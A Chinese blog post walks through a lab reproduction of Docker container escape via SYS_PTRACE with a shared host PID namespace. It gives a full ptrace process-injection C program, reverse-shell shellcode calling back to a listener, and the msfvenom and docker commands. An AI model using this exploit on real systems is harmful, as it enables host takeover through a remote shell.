• Docker逃逸---SYS_PTRACE浅析


    一、产生原因

    用户授予了容器SYS_PTRACE权限,并且与宿主机共享一个进程命名空间(--pid=host),使得容器内可以查看到宿主机的进程,攻击者可以利用进程注入,反弹shell,从而实现逃逸

    二、利用条件

    1、容器有SYS_PTRACE权限

    2、与宿主机共享一个进程命名空间

    3、容器以root权限运行

    三、复现过程

    1、创建容器,授予SYS_PTRACE权限,以host进程模式运行

    注意我这里用的是CentOS,如果是Ubuntu可能会有安全设置选项,需要将安全设置选项设置为

    apparmor=unconfined

    docker run -itd --pid=host --cap-add=SYS_PTRACE ubuntu:18.04

    进入容器,查看当前进程,可以看到宿主机的进程 

    2、进程注入

    https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #define SHELLCODE_SIZE 87
    12. unsigned char *shellcode =
    13. "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
    14. "\x48\xb9\x02\x00\x09\x1d\xc0\xa8\xef\x81\x51\x48\x89\xe6"
    15. "\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
    16. "\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
    17. "\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
    18. "\x89\xe6\x0f\x05";
    19. int
    20. inject_data (pid_t pid, unsigned char *src, void *dst, int len)
    21. {
    22. int i;
    23. uint32_t *s = (uint32_t *) src;
    24. uint32_t *d = (uint32_t *) dst;
    25. for (i = 0; i < len; i+=4, s++, d++)
    26. {
    27. if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
    28. {
    29. perror ("ptrace(POKETEXT):");
    30. return -1;
    31. }
    32. }
    33. return 0;
    34. }
    35. int
    36. main (int argc, char *argv[])
    37. {
    38. pid_t target;
    39. struct user_regs_struct regs;
    40. int syscall;
    41. long dst;
    42. if (argc != 2)
    43. {
    44. fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
    45. exit (1);
    46. }
    47. target = atoi (argv[1]);
    48. printf ("+ Tracing process %d\n", target);
    49. if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    50. {
    51. perror ("ptrace(ATTACH):");
    52. exit (1);
    53. }
    54. printf ("+ Waiting for process...\n");
    55. wait (NULL);
    56. printf ("+ Getting Registers\n");
    57. if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
    58. {
    59. perror ("ptrace(GETREGS):");
    60. exit (1);
    61. }
    62. /* Inject code into current RPI position */
    63. printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
    64. inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
    65. regs.rip += 2;
    66. printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
    67. if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
    68. {
    69. perror ("ptrace(GETREGS):");
    70. exit (1);
    71. }
    72. printf ("+ Run it!\n");
    73. if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    74. {
    75. perror ("ptrace(DETACH):");
    76. exit (1);
    77. }
    78. return 0;
    79. }

    这里的shellcode我用的是msf生成的

    msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.239.129 LPORT=2333 -f c

    gcc编译

    gcc inject.c -o inject

    这里容器内可能没有gcc环境,做实验的话我们就可以直接在容器外编译好然后复制进容器内

    docker cp inject 2b9158cdb3e5:/

    3、运行进程注入代码,msf监听

    注意这里记得修改成自己的ip和端口

    运行inject,ps -ef查看宿主机有哪些进程,选择一个以root身份运行的进程

    成功反弹宿主机shell

  • 相关阅读:
    ACL2024 | AI的时空穿越记:大型语言模型共时推理的奇幻之旅!
    软件测试项目实战,一比一还原可以写进简历的
    [附源码]java毕业设计氧气罐管理系统
    Revit二次开发——HelloRevitApp
    MySQL调优随笔
    云栖大会开源重磅升级!PolarDB-X v2.2: 企业级和国产化适配
    【思考总结】数列收敛和级数收敛的联系与区别【概念辨析】
    SignalR中的重连机制和心跳监测机制详解
    rabbitmq队列卡住的一种情况(webservice接口超时)
    [MRCTF2020]你传你呢1
  • 原文地址:https://blog.csdn.net/CQ17743254852/article/details/133853670